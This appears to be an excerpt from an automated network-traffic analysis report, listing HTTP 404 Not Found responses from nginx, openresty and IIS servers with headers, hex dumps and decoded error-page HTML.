    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:48:20 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:48:20 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:48:15 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:22 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:22 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:48:30 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:48:31 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:36 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:36 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:48:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
